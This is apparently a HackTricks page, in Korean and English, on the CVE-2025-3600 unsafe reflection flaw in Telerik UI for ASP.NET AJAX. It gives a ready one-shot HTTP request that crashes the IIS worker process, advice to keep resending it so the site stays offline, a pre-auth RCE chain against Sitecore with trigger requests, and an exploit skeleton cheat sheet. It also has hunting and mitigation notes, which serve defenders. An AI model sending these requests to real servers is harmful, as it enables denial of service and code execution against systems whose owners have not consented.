private ICacheImageProvider GetImageProvider(HttpContext context) { if (!string.IsNullOrEmpty(context.Request[“prtype”])) { return RadImageEditor.InitCacheImageProvider( RadImageEditor.GetICacheImageProviderType(context.Request[“prtype”]) // [A] ); } … }

public static Type GetICacheImageProviderType(string imageProviderTypeName) { return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ? typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B] }

protected internal static ICacheImageProvider InitCacheImageProvider(Type t) { // unsafe: construct before enforcing interface type-safety return (ICacheImageProvider)Activator.CreateInstance(t); // [C] }

</details>

Exploit primitive: 제어된 type 문자열 → Type.GetType resolves it → Activator.CreateInstance runs its public parameterless constructor. 요청이 이후에 거부되더라도 gadget의 부작용은 이미 발생합니다.

## 범용 DoS gadget (앱 특정 gadgets 불필요)

Class: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper in System.Management.Automation (PowerShell)는 finalizer가 초기화되지 않은 핸들을 dispose하여 GC가 이를 finalize할 때 처리되지 않은 예외를 발생시킵니다. 이로 인해 인스턴스화 직후 IIS worker 프로세스가 신뢰성 있게 크래시합니다.

One‑shot DoS request:
```http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

Notes

• 사이트를 오프라인으로 유지하려면 주기적으로 계속 전송하세요. 디버거에서 생성자가 호출되는 것을 관찰할 수 있으며, 크래시는 finalization 시 발생합니다.

From DoS to RCE – 권한 상승 패턴

안전하지 않은 생성자 실행은 많은 대상별 gadgets와 체인을 활성화합니다. 다음을 찾아보세요:

1. 공격자 입력을 처리하는 매개변수 없는 생성자

• 일부 ctors(또는 static initializers)는 즉시 Request의 query/body/cookies/headers를 읽고 (de)serialize합니다.
• 예시 (Sitecore): ctor 체인이 GetLayoutDefinition()에 도달하여 HTTP 바디의 “layout“을 읽고 JSON.NET을 통해 JSON을 역직렬화합니다.

2. 파일을 다루는 생성자

• 디스크에서 config/blobs를 로드하거나 역직렬화하는 Ctros는 해당 경로(예: uploads/temp/data 폴더)에 쓸 수 있다면 강제로 조작될 수 있습니다.

3. 앱 특정 작업을 수행하는 생성자

• 상태 재설정, 모듈 토글, 프로세스 종료 등.

4. AppDomain 이벤트 핸들러를 등록하는 생성자/static ctors

• 많은 앱이 AppDomain.CurrentDomain.AssemblyResolve 핸들러를 추가하여 args.Name으로부터 DLL 경로를 구성하는데, 이 과정에서 입력 검증(sanitization)을 하지 않습니다. 타입 해석에 영향을 줄 수 있다면 공격자가 제어하는 경로에서 임의의 DLL 로드를 강제할 수 있습니다.

5. Type.GetType을 통한 AssemblyResolve 강제

• 존재하지 않는 타입을 요청하여 CLR 해석을 강제하고 등록된(잠재적으로 안전하지 않은) resolvers를 호출합니다. 예시 assembly-qualified name:

This.Class.Does.Not.Exist, watchTowr

6. 파괴적 부작용이 있는 Finalizers

• 일부 타입은 finalizers에서 고정 경로 파일을 삭제합니다. 심볼릭 링크 추적(link-following)이나 예측 가능한 경로와 결합되면 특정 환경에서 로컬 권한 상승을 유발할 수 있습니다.

예시 pre‑auth RCE 체인 (Sitecore XP)

• 단계 1 – Pre‑auth: static/instance ctor가 취약한 AssemblyResolve handler를 등록하는 타입을 트리거합니다(예: ControlFactory의 Sitecore FolderControlSource).
• 단계 2 – Post‑auth: resolver-probed 디렉터리에 쓰기 권한을 얻습니다(예: auth bypass 또는 취약한 업로드를 통해) 그리고 악성 DLL을 심습니다.
• 단계 3 – Pre‑auth: 존재하지 않는 타입과 traversal‑laden assembly 이름을 사용해 CVE‑2025‑3600을 악용하여 resolver가 심어둔 DLL을 로드하도록 강제 → IIS worker 권한으로 코드 실행.

트리거 예시

# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl

# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr

검증, 헌팅 및 DFIR 노트

• 안전한 랩 검증: DoS payload를 실행하고 WSMan finalizer와 연관된 app pool 재시작/처리되지 않은 예외를 관찰하세요.
• 텔레메트리에서 헌팅:
• Requests to /Telerik.Web.UI.WebResource.axd with type=iec and odd prtype values.
• Failed type loads and AppDomain.AssemblyResolve events.
• Sudden w3wp.exe crashes/recycles following such requests.

완화

• Patch to Telerik UI for ASP.NET AJAX 2025.1.416 or later.
• Remove or restrict exposure of Telerik.Web.UI.WebResource.axd where possible (WAF/rewrites).
• 서버 측 prtype 처리를 무시하거나 강화하세요(업그레이드는 인스턴스화 전에 적절한 검사를 적용).
• 커스텀 AppDomain.AssemblyResolve 핸들러를 감사하고 강화하세요. args.Name에서 경로를 빌드할 때 무결성 검사 없이 생성하지 말고, strong-named loads나 whitelists를 선호하세요.
• 업로드/쓰기 위치를 제한하고 탐색되는 디렉터리에 DLL이 떨어지지 않도록 방지하세요.
• 비존재 타입 로드 시도를 모니터링하여 resolver 남용을 포착하세요.

치트시트

• 존재 확인:
• GET /Telerik.Web.UI.WebResource.axd
• web.config에서 핸들러 매핑 확인
• Exploit skeleton:

GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>

• Universal DoS:

...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

• 트리거 리졸버:

This.Class.Does.Not.Exist, watchTowr

관련 기법

• IIS post-exploitation, .NET key extraction, and in‑memory loaders:

IIS - Internet Information Services

• ASP.NET ViewState deserialization and machineKey abuses:

Exploiting __VIEWSTATE without knowing the secrets

참고 자료

• Progress Telerik – Unsafe Reflection Vulnerability (3600)
• watchTowr labs – More than DoS: Progress Telerik UI for ASP.NET AJAX Unsafe Reflection (CVE-2025-3600)
• Black Hat USA 2019 – SSO Wars: The Token Menace (Mirosh & Muñoz) – DoS gadget background
• ZDI – Abusing arbitrary file deletes to escalate privilege
• watchTowr – Is “B” for Backdoor? (Sitecore chain CVE-2025-34509)

Tip

AWS Hacking을 배우고 연습하세요:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요: HackTricks Training Azure Red Team Expert (AzRTE) 평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.

HackTricks 지원하기

• subscription plans를 확인하세요!
• 💬 Discord group, telegram group에 참여하고, X/Twitter에서 @hacktricks_live를 팔로우하거나, LinkedIn page와 YouTube channel을 확인하세요.
• HackTricks 및 HackTricks Cloud github repos에 PR을 제출해 hacking tricks를 공유하세요.